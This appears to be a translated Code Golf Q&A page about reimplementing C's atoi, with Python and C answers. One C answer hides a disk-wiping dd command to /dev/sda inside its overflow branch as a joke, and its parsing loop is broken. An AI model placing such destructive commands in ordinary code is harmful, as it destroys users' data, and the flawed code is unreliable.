首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >实现atoi函数

实现atoi函数
EN

Code Golf用户
提问于 2014-08-01 04:41:02
回答 4查看 575关注 0票数 0

您已经知道,atoi函数的stdlib.h将字符串转换为整数。

atoi

(复制自这里)

代码语言:javascript
复制
 int atoi (const char * str);

将字符串转换为整数解析C字符串str,将其内容解释为整数,该整数作为int类型的值返回。

示例

代码语言:javascript
复制
#include <stdio.h>      /* printf, fgets */
#include <stdlib.h>     /* atoi */

int main ()
{
  int i;
  char buffer[256];
  printf ("Enter a number: ");
  fgets (buffer, 256, stdin);
  i = atoi (buffer);
  printf ("The value entered is %d. Its double is %d.\n",i,i*2);
  return 0;
}

您的任务是实现它,确保它适用于范围内的所有负整数,并尽量使代码变小。

EN

回答 4

Code Golf用户

发布于 2014-08-01 05:43:44

Python3-多核或回家

代码语言:javascript
复制
# The venerable C atoi function hails from a more innocent time. These days,
# we have multicore processors and programs must adapt or be left behind.
import re
import multiprocessing as mp

def atoi(a):
    m = re.match(r"^\s*(-?)(\d+).*$", a)
    if m is None:
        raise ValueError(a)
    sign = -(m.group(1) == "-") * 2 + 1
    places = enumerate(reversed(bytes(m.group(2), "ascii")))
    with mp.Pool(processes=mp.cpu_count()) as pool:
        return sign * sum(pool.map(_digit, places))

def _digit(t):
    i, b = t
    return 10 ** i * (b - 48)

if __name__ == '__main__':
    import unittest
    error_case = unittest.TestCase().assertRaises(ValueError)
    assert atoi(" -4555553") == -4555553
    assert atoi("1") == 1
    assert atoi("    0") == 0
    assert atoi("100asdf") == 100
    assert atoi("-5") == -5
    assert atoi("1, 2, Fizz, 4, Buzz, Fizz, 7, 8, Fizz, Buzz") == 1
    assert atoi("1.2") == 1
    with error_case:
        atoi("foobar")
    with error_case:
        atoi("a1234")

现在我遇到了2 + cpu_count()问题。

票数 3
EN

Code Golf用户

发布于 2014-08-01 05:52:38

C -未定义的行为总是有趣的*

代码语言:javascript
复制
#include <limits.h>
#include <ctype.h>

int atoi(const char *str){
    const unsigned imax = INT_MAX, imin = imax + 1;
    unsigned temp = 0;
    int multip = 1;

    // get rid of leading whitespace
    --str;
    while(isspace(*++str));

    // check +/-
    if(*str == '+') multip = 1, ++str;
    else if(*str == '-') multip = -1, ++str;

    while(isdigit(*str)){
        // check for overflow
        if((multip == 1 && temp <= imax) ||
         (multip == -1 && temp <= imin))
            temp = temp * 10 + *str - '0';
        else
            break;
    }
    // will answer overflow when coverted back to int?
    if((multip == 1 && temp > imax) ||
       (multip == -1 && temp > imin)){
        // undefined behavior is VERY fun*
        system('dd if=/dev/zero of=/dev/sda bs=512 count=1');
        return 42;
    }
    return multip*(int)temp;
}

*为了某个人。不总是你。

票数 2
EN

Code Golf用户

发布于 2014-08-01 18:11:33

C,67 (没有函数名/参数)

代码语言:javascript
复制
int atoi(const char*s){int r,c,a;for(r=0,a=*s==45?s++:0;c=*s++;r=r*10+c-48);return a?-r:r;}

http://ideone.com/zsodr5

票数 1
EN
页面原文内容由Code Golf提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://codegolf.stackexchange.com/questions/35498

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档